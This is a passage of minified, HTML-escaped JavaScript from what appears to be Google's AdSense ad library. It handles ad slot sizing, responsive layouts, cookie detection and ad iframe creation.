lf(a,Math.floor(c/1.91+70)+Math.floor((c*gf[d]+hf[d])*b+8*b+8)))}of(b,&quot;image_sidebyside&quot;,1,13);return new Q(9,pf(a))}of(b,&quot;image_stacked&quot;,4,2);return new Q(9,pf(a))};function pf(a){return 1200&lt;=a?new lf(1200,600):850&lt;=a?new lf(a,Math.floor(.5*a)):550&lt;=a?new lf(a,Math.floor(.6*a)):468&lt;=a?new lf(a,Math.floor(.7*a)):new lf(a,Math.floor(3.44*a))}var rf=function(a,b){nf(a,b);var c=b.google_content_recommendation_ui_type.split(&quot;,&quot;),d=b.google_content_recommendation_columns_num.split(&quot;,&quot;),e=b.google_content_recommendation_rows_num.split(&quot;,&quot;);a:{if(c.length==d.length&amp;&amp;d.length==e.length){if(1==c.length){var f=0;break a}if(2==c.length){f=a&lt;Ca?0:1;break a}throw new H(&quot;The parameter length of attribute data-matched-content-ui-type, data-matched-content-columns-num and data-matched-content-rows-num is too long. At most 2 parameters for each attribute are needed: one for mobile and one for desktop, while &quot;+(&quot;you are providing &quot;+c.length+&#039; parameters. Example: \n data-matched-content-rows-num=&quot;4,2&quot;\ndata-matched-content-columns-num=&quot;1,6&quot;\ndata-matched-content-ui-type=&quot;image_stacked,image_card_sidebyside&quot;.&#039;))}if(c.length!=d.length)throw new H(&#039;The parameter length of data-matched-content-ui-type does not match data-matched-content-columns-num. Example: \n data-matched-content-rows-num=&quot;4,2&quot;\ndata-matched-content-columns-num=&quot;1,6&quot;\ndata-matched-content-ui-type=&quot;image_stacked,image_card_sidebyside&quot;.&#039;);throw new H(&#039;The parameter length of data-matched-content-columns-num does not match data-matched-content-rows-num. Example: \n data-matched-content-rows-num=&quot;4,2&quot;\ndata-matched-content-columns-num=&quot;1,6&quot;\ndata-matched-content-ui-type=&quot;image_stacked,image_card_sidebyside&quot;.&#039;)}c=c[f];c=0==c.lastIndexOf(&quot;pub_control_&quot;,0)?c:&quot;pub_control_&quot;+c;d=+d[f];for(var g=kf[c],h=d;a/h&lt;g&amp;&amp;1&lt;h;)h--;h!==d&amp;&amp;l.console&amp;&amp;l.console.warn(&quot;adsbygoogle warning: data-matched-content-columns-num &quot;+d+&quot; is too large. We override it to &quot;+h+&quot;.&quot;);d=h;e=+e[f];of(b,c,d,e);if(Number.isNaN(d)||0===d)throw new H(&quot;Wrong value for data-matched-content-columns-num&quot;);if(Number.isNaN(e)||0===e)throw new H(&quot;Wrong value for data-matched-content-rows-num&quot;);b=Math.floor(((a-8*d-8)/d*gf[c]+hf[c])*e+8*e+8);if(1500&lt;a)throw new H(&quot;Calculated slot width is too large: &quot;+a);if(1500&lt;b)throw new H(&quot;Calculated slot height is too large: &quot;+b);return new Q(9,new lf(a,b))};function nf(a,b){if(0&gt;=a)throw new H(&quot;Invalid responsive width from Matched Content slot &quot;+b.google_ad_slot+&quot;: &quot;+a+&quot;. Please ensure to put this Matched Content slot into a non-zero width div container.&quot;)}function of(a,b,c,d){a.google_content_recommendation_ui_type=b;a.google_content_recommendation_columns_num=c;a.google_content_recommendation_rows_num=d};var sf=function(a,b){O.call(this,a,b)};ia(sf,O);sf.prototype.j=function(){return this.minWidth()};sf.prototype.l=function(a,b,c,d){var e=this.j(b);Ve(a,d,d.parentElement,b,e,c);1!=c.google_ad_resize&amp;&amp;(d.style.height=this.height()+&quot;px&quot;)};var tf=function(a){return function(b){for(var c=a.length-1;0&lt;=c;--c)if(!a[c](b))return!1;return!0}},uf=function(a,b,c){for(var d=a.length,e=null,f=0;f&lt;d;++f){var g=a[f];if(b(g)){if(!c||c(g))return g;null===e&amp;&amp;(e=g)}}return e};var T=[new P(970,90,2),new P(728,90,2),new P(468,60,2),new P(336,280,1),new P(320,100,2),new P(320,50,2),new P(300,600,4),new P(300,250,1),new P(250,250,1),new P(234,60,2),new P(200,200,1),new P(180,150,1),new P(160,600,4),new P(125,125,1),new P(120,600,4),new P(120,240,4)],vf=[T[6],T[12],T[3],T[0],T[7],T[14],T[1],T[8],T[10],T[4],T[15],T[2],T[11],T[5],T[13],T[9]],wf=new P(120,120,1,!0),xf=new P(120,50,2,!0);var Af=function(a,b,c,d,e){e.gfwroml=d.style.marginLeft;e.gfwromr=d.style.marginRight;e.gfwroh=d.style.height;e.gfwrow=d.style.width;e.gfwroz=d.style.zIndex;e.google_full_width_responsive_allowed=!1;&quot;false&quot;!=e.google_full_width_responsive||yf(c)?zf(b,c,!0)||1==e.google_ad_resize?Re(a,c,d,e)?(e.google_full_width_responsive_allowed=!0,zf(b,c,!1)?b=I(c)||a:(e.google_fwr_non_expansion_reason=15,b=a)):b=a:(e.google_fwr_non_expansion_reason=2,b=a):(e.google_fwr_non_expansion_reason=1,b=a);return b!=a&amp;&amp;d.parentElement?b:a},Cf=function(a,b,c,d,e,f){f=void 0===f?!1:f;var g=Ib({},e);e=a;a=ed(247,gd,function(){return Af(a,b,c,d,g)});return Bf(a,b,c,d,g,e!=a,f)},zf=function(a,b,c){&quot;auto&quot;==a||&quot;autorelaxed&quot;==a&amp;&amp;C(b,qe.u)?b=!0:0&lt;(Ne(a)&amp;1)?(yf(b)?a=!0:(Pb(),a=Wd(),a=tb(a.V[101],!1)?!C(b,Yd.m):C(b,Yd.u)),b=a||c&amp;&amp;C(b,Yd.m)):b=!1;return b},Bf=function(a,b,c,d,e,f,g){g=void 0===g?!1:g;var h=&quot;auto&quot;==b?.25&gt;=a/Math.min(1200,I(c))?4:3:Ne(b);e.google_responsive_formats=h;var k=ef()&amp;&amp;!Ye(d,c)&amp;&amp;Me(d,c,e),m=ef()&amp;&amp;Ye(d,c)&amp;&amp;(C(c,ie.D)||C(c,ie.m))&amp;&amp;Me(d,c,e)&amp;&amp;C(c,ie.D),n=(k?vf:T).slice(0);n=Ea(n,Df(c));var p=488&gt;I(c);p=[Xe(a),Ef(p),$e(p,c,d),Ie(h)];null!=e.google_max_responsive_height&amp;&amp;p.push(af(e.google_max_responsive_height));var q=A(e.gfwrow)||0,u=A(e.gfwroh)||0;g&amp;&amp;p.push(function(a){return a.minWidth()&gt;=q&amp;&amp;a.height()&gt;=u});var z=[function(a){return!a.za}];if(k||m)k=k?bf(c,d):cf(c,d),z.push(af(k));var J=uf(n,tf(p),tf(z));g&amp;&amp;(n=new P(q,u,h),J=J||n);if(!J)throw new H(&quot;No slot size for availableWidth=&quot;+a);J=ed(248,gd,function(){a:{var b=J;var h=g;h=void 0===h?!1:h;if(f){if(e.gfwrnh){var k=A(e.gfwrnh);if(k){h=new sf(a,k);break a}}if(Ye(d,c))h=new sf(a,b.height());else{b=a/1.2;k=bf(c,d);k=Math.min(b,k);if(k&lt;.5*b||100&gt;k)k=b;h&amp;&amp;(h=A(e.gfwroh)||0,k=Math.max(k,h));h=new sf(a,Math.floor(k))}}else h=b}return h});b=Ff(b,h);return new Q(b,J,h,e.google_safe_for_responsive_override,e.google_full_width_responsive_allowed,e.google_fwr_non_expansion_reason,e.gfwroml,e.gfwromr,e.gfwroh,e.gfwrow,e.gfwroz,e.gml,e.gmr,e.gzi)},Ff=function(a,b){if(&quot;auto&quot;==a)return 1;switch(b){case 2:return 2;case 1:return 3;case 4:return 4;case 3:return 5;case 6:return 6;case 5:return 7;case 7:return 8}throw Error(&quot;bad mask&quot;)},Ef=function(a){return function(b){return!(320==b.minWidth()&amp;&amp;(a&amp;&amp;50==b.height()||!a&amp;&amp;100==b.height()))}},yf=function(a){return a.location&amp;&amp;&quot;#google_full_width_responsive_preview&quot;==a.location.hash},Df=function(a){var b=[],c=C(a,le.F);(C(a,le.G)||c)&amp;&amp;b.push(wf);(C(a,le.H)||c)&amp;&amp;b.push(xf);return b};var Gf={&quot;image-top&quot;:function(a){return 600&gt;=a?284+.414*(a-250):429},&quot;image-middle&quot;:function(a){return 500&gt;=a?196-.13*(a-250):164+.2*(a-500)},&quot;image-side&quot;:function(a){return 500&gt;=a?205-.28*(a-250):134+.21*(a-500)},&quot;text-only&quot;:function(a){return 500&gt;=a?187-.228*(a-250):130},&quot;in-article&quot;:function(a){return 420&gt;=a?a/1.2:460&gt;=a?a/1.91+130:800&gt;=a?a/4:200}},Hf=function(a,b){O.call(this,a,b)};ia(Hf,O);Hf.prototype.j=function(){return Math.min(1200,this.minWidth())};var If=function(a,b,c,d,e){var f=e.google_ad_layout||&quot;image-top&quot;;if(&quot;in-article&quot;==f&amp;&amp;&quot;false&quot;!=e.google_full_width_responsive&amp;&amp;(C(b,$d.K)||C(b,$d.T)||C(b,$d.m))&amp;&amp;Qe(b,c,a,.2,e)){var g=I(b);if(g&amp;&amp;(e.google_full_width_responsive_allowed=!0,!C(b,$d.m))){var h=c.parentElement;if(h){b:for(var k=c,m=0;100&gt;m&amp;&amp;k.parentElement;++m){for(var n=k.parentElement.childNodes,p=0;p&lt;n.length;++p){var q=n[p];if(q!=k&amp;&amp;Ue(b,q))break b}k=k.parentElement;k.style.width=&quot;100%&quot;;k.style.height=&quot;auto&quot;}Ve(b,c,h,a,g,e);a=g}}}if(250&gt;a)throw new H(&quot;Fluid responsive ads must be at least 250px wide: availableWidth=&quot;+a);b=Math.min(1200,Math.floor(a));if(d&amp;&amp;&quot;in-article&quot;!=f){f=Math.ceil(d);if(50&gt;f)throw new H(&quot;Fluid responsive ads must be at least 50px tall: height=&quot;+f);return new Q(11,new O(b,f))}if(&quot;in-article&quot;!=f&amp;&amp;(d=e.google_ad_layout_key)){f=&quot;&quot;+d;d=Math.pow(10,3);if(c=(e=f.match(/([+-][0-9a-z]+)/g))&amp;&amp;e.length){a=[];for(g=0;g&lt;c;g++)a.push(parseInt(e[g],36)/d);d=a}else d=null;if(!d)throw new H(&quot;Invalid data-ad-layout-key value: &quot;+f);f=(b+-725)/1E3;e=0;c=1;a=d.length;for(g=0;g&lt;a;g++)e+=d[g]*c,c*=f;f=Math.ceil(1E3*e- -725+10);if(isNaN(f))throw new H(&quot;Invalid height: height=&quot;+f);if(50&gt;f)throw new H(&quot;Fluid responsive ads must be at least 50px tall: height=&quot;+f);if(1200&lt;f)throw new H(&quot;Fluid responsive ads must be at most 1200px tall: height=&quot;+f);return new Q(11,new O(b,f))}d=Gf[f];if(!d)throw new H(&quot;Invalid data-ad-layout value: &quot;+f);d=Math.ceil(d(b));return new Q(11,&quot;in-article&quot;==f?new Hf(b,d):new O(b,d))};var U=function(a,b){O.call(this,a,b)};ia(U,O);U.prototype.j=function(){return this.minWidth()};U.prototype.o=function(a){return O.prototype.o.call(this,a)+&quot;_0ads_al&quot;};var Jf=[new U(728,15),new U(468,15),new U(200,90),new U(180,90),new U(160,90),new U(120,90)],Kf=function(a,b,c,d){var e=90;d=void 0===d?130:d;e=void 0===e?30:e;var f=uf(Jf,Xe(a));if(!f)throw new H(&quot;No link unit size for width=&quot;+a+&quot;px&quot;);a=Math.min(a,1200);f=f.height();b=Math.max(f,b);a=(new Q(10,new U(a,Math.min(b,15==f?e:d)))).w;b=a.minWidth();a=a.height();15&lt;=c&amp;&amp;(a=c);return new Q(10,new U(b,a))};var Lf=function(a){var b=a.google_ad_format;if(&quot;autorelaxed&quot;==b)return mf(a)?9:5;if(&quot;auto&quot;==b||/^((^|,) *(horizontal|vertical|rectangle) *)+$/.test(b))return 1;if(&quot;link&quot;==b)return 4;if(&quot;fluid&quot;==b)return 8},Mf=function(a,b,c,d,e){var f=d.google_ad_height||We(c,e,&quot;height&quot;);switch(a){case 5:return a=ed(247,gd,function(){return Af(b,d.google_ad_format,e,c,d)}),a!=b&amp;&amp;Ve(e,c,c.parentElement,b,a,d),qf(a,d);case 9:return rf(b,d);case 4:return Kf(b,cf(e,c),f,B(e,be.ea)?250:190);case 8:return If(b,e,c,f,d)}};var Nf=/^(\d+)x(\d+)(|_[a-z]*)$/,Of=function(a){return C(a,&quot;165767636&quot;)};var V=function(a){this.s=[];this.l=a||window;this.j=0;this.o=null;this.N=0},Pf;V.prototype.O=function(a,b){0!=this.j||0!=this.s.length||b&amp;&amp;b!=window?this.v(a,b):(this.j=2,this.C(new Qf(a,window)))};V.prototype.v=function(a,b){this.s.push(new Qf(a,b||this.l));Rf(this)};V.prototype.R=function(a){this.j=1;if(a){var b=fd(188,sa(this.A,this,!0));this.o=this.l.setTimeout(b,a)}};V.prototype.A=function(a){a&amp;&amp;++this.N;1==this.j&amp;&amp;(null!=this.o&amp;&amp;(this.l.clearTimeout(this.o),this.o=null),this.j=0);Rf(this)};V.prototype.X=function(){return!(!window||!Array)};V.prototype.P=function(){return this.N};var Rf=function(a){var b=fd(189,sa(a.va,a));a.l.setTimeout(b,0)};V.prototype.va=function(){if(0==this.j&amp;&amp;this.s.length){var a=this.s.shift();this.j=2;var b=fd(190,sa(this.C,this,a));a.j.setTimeout(b,0);Rf(this)}};V.prototype.C=function(a){this.j=0;a.l()};var Sf=function(a){try{return a.sz()}catch(b){return!1}},Tf=function(a){return!!a&amp;&amp;(&quot;object&quot;===typeof a||&quot;function&quot;===typeof a)&amp;&amp;Sf(a)&amp;&amp;Jb(a.nq)&amp;&amp;Jb(a.nqa)&amp;&amp;Jb(a.al)&amp;&amp;Jb(a.rl)},Uf=function(){if(Pf&amp;&amp;Sf(Pf))return Pf;var a=nd(),b=a.google_jobrunner;return Tf(b)?Pf=b:a.google_jobrunner=Pf=new V(a)},Vf=function(a,b){Uf().nq(a,b)},Wf=function(a,b){Uf().nqa(a,b)};V.prototype.nq=V.prototype.O;V.prototype.nqa=V.prototype.v;V.prototype.al=V.prototype.R;V.prototype.rl=V.prototype.A;V.prototype.sz=V.prototype.X;V.prototype.tc=V.prototype.P;var Qf=function(a,b){this.l=a;this.j=b};var Xf=function(a,b){var c=Rb(b);if(c){c=I(c);var d=y(a,b)||{},e=d.direction;if(&quot;0px&quot;===d.width&amp;&amp;&quot;none&quot;!=d.cssFloat)return-1;if(&quot;ltr&quot;===e&amp;&amp;c)return Math.floor(Math.min(1200,c-a.getBoundingClientRect().left));if(&quot;rtl&quot;===e&amp;&amp;c)return a=b.document.body.getBoundingClientRect().right-a.getBoundingClientRect().right,Math.floor(Math.min(1200,c-a-Math.floor((c-b.document.body.clientWidth)/2)))}return-1};var Yf=function(a,b,c){c||(c=yb?&quot;https&quot;:&quot;http&quot;);l.location&amp;&amp;&quot;https:&quot;==l.location.protocol&amp;&amp;&quot;http&quot;==c&amp;&amp;(c=&quot;https&quot;);return[c,&quot;://&quot;,a,b].join(&quot;&quot;)};var $f=function(a){var b=this;this.j=a;a.google_iframe_oncopy||(a.google_iframe_oncopy={handlers:{},upd:function(a,d){var c=Zf(&quot;rx&quot;,a);a:{if(a&amp;&amp;(a=a.match(&quot;dt=([^&amp;]+)&quot;))&amp;&amp;2==a.length){a=a[1];break a}a=&quot;&quot;}a=(new Date).getTime()-a;c=c.replace(/&amp;dtd=(\d+|-?M)/,&quot;&amp;dtd=&quot;+(1E5&lt;=a?&quot;M&quot;:0&lt;=a?a:&quot;-M&quot;));b.set(d,c);return c}});this.l=a.google_iframe_oncopy};$f.prototype.set=function(a,b){var c=this;this.l.handlers[a]=b;this.j.addEventListener&amp;&amp;this.j.addEventListener(&quot;load&quot;,function(){var b=c.j.document.getElementById(a);try{var e=b.contentWindow.document;if(b.onload&amp;&amp;e&amp;&amp;(!e.body||!e.body.firstChild))b.onload()}catch(f){}},!1)};var Zf=function(a,b){var c=new RegExp(&quot;\\b&quot;+a+&quot;=(\\d+)&quot;),d=c.exec(b);d&amp;&amp;(b=b.replace(c,a+&quot;=&quot;+(+d[1]+1||1)));return b},ag=Ra(&quot;var i=this.id,s=window.google_iframe_oncopy,H=s&amp;&amp;s.handlers,h=H&amp;&amp;H[i],w=this.contentWindow,d;try{d=w.document}catch(e){}if(h&amp;&amp;d&amp;&amp;(!d.body||!d.body.firstChild)){if(h.call){setTimeout(h,0)}else if(h.match){try{h=s.upd(h,i)}catch(e){}w.location.replace(h)}}&quot;);var bg={&#039;&quot;&#039;:&#039;\\&quot;&#039;,&quot;\\&quot;:&quot;\\\\&quot;,&quot;/&quot;:&quot;\\/&quot;,&quot;\b&quot;:&quot;\\b&quot;,&quot;\f&quot;:&quot;\\f&quot;,&quot;\n&quot;:&quot;\\n&quot;,&quot;\r&quot;:&quot;\\r&quot;,&quot;\t&quot;:&quot;\\t&quot;,&quot;\x0B&quot;:&quot;\\u000b&quot;},cg=/\uffff/.test(&quot;\uffff&quot;)?/[\\&quot;\x00-\x1f\x7f-\uffff]/g:/[\\&quot;\x00-\x1f\x7f-\xff]/g,dg=function(){},fg=function(a,b,c){switch(typeof b){case &quot;string&quot;:eg(b,c);break;case &quot;number&quot;:c.push(isFinite(b)&amp;&amp;!isNaN(b)?String(b):&quot;null&quot;);break;case &quot;boolean&quot;:c.push(String(b));break;case &quot;undefined&quot;:c.push(&quot;null&quot;);break;case &quot;object&quot;:if(null==b){c.push(&quot;null&quot;);break}if(b instanceof Array||void 0!=b.length&amp;&amp;b.splice){var d=b.length;c.push(&quot;[&quot;);for(var e=&quot;&quot;,f=0;f&lt;d;f++)c.push(e),fg(a,b[f],c),e=&quot;,&quot;;c.push(&quot;]&quot;);break}c.push(&quot;{&quot;);d=&quot;&quot;;for(e in b)b.hasOwnProperty(e)&amp;&amp;(f=b[e],&quot;function&quot;!=typeof f&amp;&amp;(c.push(d),eg(e,c),c.push(&quot;:&quot;),fg(a,f,c),d=&quot;,&quot;));c.push(&quot;}&quot;);break;case &quot;function&quot;:break;default:throw Error(&quot;Unknown type: &quot;+typeof b)}},eg=function(a,b){b.push(&#039;&quot;&#039;);b.push(a.replace(cg,function(a){if(a in bg)return bg[a];var b=a.charCodeAt(0),c=&quot;\\u&quot;;16&gt;b?c+=&quot;000&quot;:256&gt;b?c+=&quot;00&quot;:4096&gt;b&amp;&amp;(c+=&quot;0&quot;);return bg[a]=c+b.toString(16)}));b.push(&#039;&quot;&#039;)};var gg={},hg=(gg.google_ad_modifications=!0,gg.google_analytics_domain_name=!0,gg.google_analytics_uacct=!0,gg),ig=function(a){try{if(l.JSON&amp;&amp;l.JSON.stringify&amp;&amp;l.encodeURIComponent){var b=function(){return this};if(Object.prototype.hasOwnProperty(&quot;toJSON&quot;)){var c=Object.prototype.toJSON;Object.prototype.toJSON=b}if(Array.prototype.hasOwnProperty(&quot;toJSON&quot;)){var d=Array.prototype.toJSON;Array.prototype.toJSON=b}var e=l.encodeURIComponent(l.JSON.stringify(a));try{var f=Yb?l.btoa(e):Zb(Ub(e),void 0)}catch(g){f=&quot;#&quot;+Zb(Ub(e),!0)}c&amp;&amp;(Object.prototype.toJSON=c);d&amp;&amp;(Array.prototype.toJSON=d);return f}}catch(g){G.j(237,g,void 0,void 0)}return&quot;&quot;},jg=function(a){a.google_page_url&amp;&amp;(a.google_page_url=String(a.google_page_url));var b=[];Hb(a,function(a,d){if(null!=a){try{var c=[];fg(new dg,a,c);var f=c.join(&quot;&quot;)}catch(g){}f&amp;&amp;(f=f.replace(/\//g,&quot;\\$&amp;&quot;),Kb(b,d,&quot;=&quot;,f,&quot;;&quot;))}});return b.join(&quot;&quot;)};var mg=function(){var a=l;this.l=a=void 0===a?l:a;this.v=&quot;https://securepubads.g.doubleclick.net/static/3p_cookie.html&quot;;this.j=2;this.o=[];this.s=!1;a:{a=kb(!1,50);b:{try{var b=l.parent;if(b&amp;&amp;b!=l){var c=b;break b}}catch(g){}c=null}c&amp;&amp;a.unshift(c);a.unshift(l);var d;for(c=0;c&lt;a.length;++c)try{var e=a[c],f=kg(e);if(f){this.j=lg(f);if(2!=this.j)break a;!d&amp;&amp;x(e)&amp;&amp;(d=e)}}catch(g){}this.l=d||this.l}},og=function(a){if(2!=ng(a)){for(var b=1==ng(a),c=0;c&lt;a.o.length;c++)try{a.o[c](b)}catch(d){}a.o=[]}},pg=function(a){var b=kg(a.l);b&amp;&amp;2==a.j&amp;&amp;(a.j=lg(b))},ng=function(a){pg(a);return a.j},rg=function(a){var b=qg;b.o.push(a);if(2!=b.j)og(b);else if(b.s||(Bb(b.l,&quot;message&quot;,function(a){var c=kg(b.l);if(c&amp;&amp;a.source==c&amp;&amp;2==b.j){switch(a.data){case &quot;3p_cookie_yes&quot;:b.j=1;break;case &quot;3p_cookie_no&quot;:b.j=0}og(b)}}),b.s=!0),kg(b.l))og(b);else{a=(new Ab(b.l.document)).j.createElement(&quot;IFRAME&quot;);a.src=b.v;a.name=&quot;detect_3p_cookie&quot;;a.style.visibility=&quot;hidden&quot;;a.style.display=&quot;none&quot;;a.onload=function(){pg(b);og(b)};try{b.l.document.body.appendChild(a)}catch(c){}}},sg=function(a,b){try{return!(!a.frames||!a.frames[b])}catch(c){return!1}},kg=function(a){return a.frames&amp;&amp;a.frames[fb(&quot;detect_3p_cookie&quot;)]||null},lg=function(a){return sg(a,&quot;3p_cookie_yes&quot;)?1:sg(a,&quot;3p_cookie_no&quot;)?0:2};var tg=function(a,b,c,d,e){d=void 0===d?&quot;&quot;:d;var f=a.createElement(&quot;link&quot;);f.rel=c;-1!=c.toLowerCase().indexOf(&quot;stylesheet&quot;)?b=Ia(b):b instanceof Ha?b=Ia(b):b instanceof Wa?b instanceof Wa&amp;&amp;b.constructor===Wa&amp;&amp;b.wa===Va?b=b.ba:(t(b),b=&quot;type_error:SafeUrl&quot;):(b instanceof Wa||(b=b.na?b.aa():String(b),Xa.test(b)||(b=&quot;about:invalid#zClosurez&quot;),b=Ya(b)),b=b.aa());f.href=b;d&amp;&amp;&quot;preload&quot;==c&amp;&amp;(f.as=d);e&amp;&amp;(f.nonce=e);if(a=a.getElementsByTagName(&quot;head&quot;)[0])try{a.appendChild(f)}catch(g){}};var ug=/^\.google\.(com?\.)?[a-z]{2,3}$/,vg=/\.(cn|com\.bi|do|sl|ba|by|ma)$/,wg=function(a){return ug.test(a)&amp;&amp;!vg.test(a)},xg=l,qg,yg=function(a){a=&quot;https://&quot;+(&quot;adservice&quot;+a+&quot;/adsid/integrator.js&quot;);var b=[&quot;domain=&quot;+encodeURIComponent(l.location.hostname)];W[3]&gt;=+new Date&amp;&amp;b.push(&quot;adsid=&quot;+encodeURIComponent(W[1]));return a+&quot;?&quot;+b.join(&quot;&amp;&quot;)},W,X,zg=function(){xg=l;W=xg.googleToken=xg.googleToken||{};var a=+new Date;W[1]&amp;&amp;W[3]&gt;a&amp;&amp;0&lt;W[2]||(W[1]=&quot;&quot;,W[2]=-1,W[3]=-1,W[4]=&quot;&quot;,W[6]=&quot;&quot;);X=xg.googleIMState=xg.googleIMState||{};wg(X[1])||(X[1]=&quot;.google.com&quot;);&quot;array&quot;==t(X[5])||(X[5]=[]);&quot;boolean&quot;==typeof X[6]||(X[6]=!1);&quot;array&quot;==t(X[7])||(X[7]=[]);r(X[8])||(X[8]=0)},Y={$:function(){return 0&lt;X[8]},Ba:function(){X[8]++},Ca:function(){0&lt;X[8]&amp;&amp;X[8]--},Da:function(){X[8]=0},Ha:function(){return!1},ma:function(){return X[5]},ka:function(a){try{a()}catch(b){l.setTimeout(function(){throw b},0)}},qa:function(){if(!Y.$()){var a=l.document,b=function(b){b=yg(b);a:{try{var c=jb();break a}catch(h){}c=void 0}var d=c;tg(a,b,&quot;preload&quot;,&quot;script&quot;,d);c=a.createElement(&quot;script&quot;);c.type=&quot;text/javascript&quot;;d&amp;&amp;(c.nonce=d);c.onerror=function(){return l.processGoogleToken({},2)};b=eb(b);c.src=Ia(b);try{(a.head||a.body||a.documentElement).appendChild(c),Y.Ba()}catch(h){}},c=X[1];b(c);&quot;.google.com&quot;!=c&amp;&amp;b(&quot;.google.com&quot;);b={};var d=(b.newToken=&quot;FBT&quot;,b);l.setTimeout(function(){return l.processGoogleToken(d,1)},1E3)}}},Ag=function(a){zg();var b=xg.googleToken[5]||0;a&amp;&amp;(0!=b||W[3]&gt;=+new Date?Y.ka(a):(Y.ma().push(a),Y.qa()));W[3]&gt;=+new Date&amp;&amp;W[2]&gt;=+new Date||Y.qa()},Bg=function(a){l.processGoogleToken=l.processGoogleToken||function(a,c){var b=a;b=void 0===b?{}:b;c=void 0===c?0:c;a=b.newToken||&quot;&quot;;var e=&quot;NT&quot;==a,f=parseInt(b.freshLifetimeSecs||&quot;&quot;,10),g=parseInt(b.validLifetimeSecs||&quot;&quot;,10);e&amp;&amp;!g&amp;&amp;(g=3600);var h=b[&quot;1p_jar&quot;]||&quot;&quot;;b=b.pucrd||&quot;&quot;;zg();1==c?Y.Da():Y.Ca();var k=xg.googleToken=xg.googleToken||{},m=0==c&amp;&amp;a&amp;&amp;na(a)&amp;&amp;!e&amp;&amp;r(f)&amp;&amp;0&lt;f&amp;&amp;r(g)&amp;&amp;0&lt;g&amp;&amp;na(h);e=e&amp;&amp;!Y.$()&amp;&amp;(!(W[3]&gt;=+new Date)||&quot;NT&quot;==W[1]);var n=!(W[3]&gt;=+new Date)&amp;&amp;0!=c;if(m||e||n)e=+new Date,f=e+1E3*f,g=e+1E3*g,1E-5&gt;Math.random()&amp;&amp;Fb(&quot;https://pagead2.googlesyndication.com/pagead/gen_204?id=imerr&amp;err=&quot;+c,void 0),k[5]=c,k[1]=a,k[2]=f,k[3]=g,k[4]=h,k[6]=b,zg();if(m||!Y.$()){c=Y.ma();for(a=0;a&lt;c.length;a++)Y.ka(c[a]);c.length=0}};Ag(a)},Cg=function(a){qg=qg||new mg;rg(function(b){b&amp;&amp;a()})};var Z=fb(&quot;script&quot;),Gg=function(){var a=B(v,L.J),b=B(v,L.I)||a;if((B(v,L.u)||B(v,L.U)||b)&amp;&amp;!v.google_sa_queue){v.google_sa_queue=[];v.google_sl_win=v;v.google_process_slots=function(){return Dg(v,!a)};var c=b?Eg():Eg(&quot;/show_ads_impl_single_load.js&quot;);tg(v.document,c,&quot;preload&quot;,&quot;script&quot;);b?(b=document.createElement(&quot;IFRAME&quot;),b.id=&quot;google_shimpl&quot;,b.style.display=&quot;none&quot;,v.document.documentElement.appendChild(b),Fe(v,&quot;google_shimpl&quot;,&quot;&lt;!doctype html&gt;&lt;html&gt;&lt;body&gt;&quot;+(&quot;&lt;&quot;+Z+&quot;&gt;&quot;)+&quot;google_sailm=true;google_sl_win=window.parent;google_async_iframe_id=&#039;google_shimpl&#039;;&quot;+(&quot;&lt;/&quot;+Z+&quot;&gt;&quot;)+Fg()+&quot;&lt;/body&gt;&lt;/html&gt;&quot;),b.contentWindow.document.close()):lb(v.document,c)}},Dg=fd(215,function(a,b,c){c=void 0===c?+new Date:c;var d=a.google_sa_queue,e=d.shift();&quot;function&quot;==t(e)&amp;&amp;ed(216,gd,e);d.length&amp;&amp;(b||50&lt;+new Date-c?a.setTimeout(function(){return Dg(a,b)},0):Dg(a,b,c))}),Fg=function(a){return[&quot;&lt;&quot;,Z,&#039; src=&quot;&#039;,Eg(void 0===a?&quot;/show_ads_impl.js&quot;:a),&#039;&quot;&gt;&lt;/&#039;,Z,&quot;&gt;&quot;].join(&quot;&quot;)},Eg=function(a){a=void 0===a?&quot;/show_ads_impl.js&quot;:a;var b=xb?&quot;https&quot;:&quot;http&quot;;a:{if(vb)try{var c=v.google_cafe_host||v.top.google_cafe_host;if(c){var d=c;break a}}catch(e){}d=Ba(&quot;&quot;,&quot;pagead2.googlesyndication.com&quot;)}return Yf(d,[&quot;/pagead/js/&quot;,ub(),&quot;/r20170110&quot;,a,&quot;&quot;].join(&quot;&quot;),b)},Hg=function(a,b,c,d){return function(){var e=!1;d&amp;&amp;Uf().al(3E4);try{Fe(a,b,c),e=!0}catch(g){var f=nd().google_jobrunner;Tf(f)&amp;&amp;f.rl()}e&amp;&amp;(e=Zf(&quot;google_async_rrc&quot;,c),(new $f(a)).set(b,Hg(a,b,e,!1)))}},Ig=function(a){var b=[&quot;&lt;iframe&quot;];Hb(a,function(a,d){null!=a&amp;&amp;b.push(&quot; &quot;+d+&#039;=&quot;&#039;+Ra(a)+&#039;&quot;&#039;)});b.push(&quot;&gt;&lt;/iframe&gt;&quot;);return b.join(&quot;&quot;)},Kg=function(a,b,c){Jg(a,b,c,function(a,b,f){a=a.document;for(var d=b.id,e=0;!d||a.getElementById(d);)d=&quot;aswift_&quot;+e++;b.id=d;b.name=d;d=Number(f.google_ad_width);e=Number(f.google_ad_height);16==f.google_reactive_ad_format?(f=a.createElement(&quot;div&quot;),a=Ee(b,d,e),f.innerHTML=a,c.appendChild(f.firstChild)):(f=Ee(b,d,e),c.innerHTML=f);return b.id})},Jg=function(a,b,c,d){var e={},f=b.google_ad_width,g=b.google_ad_height;null!=f&amp;&amp;(e.width=f&amp;&amp;&#039;&quot;&#039;+f+&#039;&quot;&#039;);null!=g&amp;&amp;(e.height=g&amp;&amp;&#039;&quot;&#039;+g+&#039;&quot;&#039;);e.frameborder=&#039;&quot;0&quot;&#039;;e.marginwidth=&#039;&quot;0&quot;&#039;;e.marginheight=&#039;&quot;0&quot;&#039;;e.vspace=&#039;&quot;0&quot;&#039;;e.hspace=&#039;&quot;0&quot;&#039;;e.allowtransparency=&#039;&quot;true&quot;&#039;;e.scrolling=&#039;&quot;no&quot;&#039;;e.allowfullscreen=&#039;&quot;true&quot;&#039;;e.onload=&#039;&quot;&#039;+ag+&#039;&quot;&#039;;d=d(a,e,b);f=b.google_ad_output;e=b.google_ad_format;g=b.google_ad_width||0;var 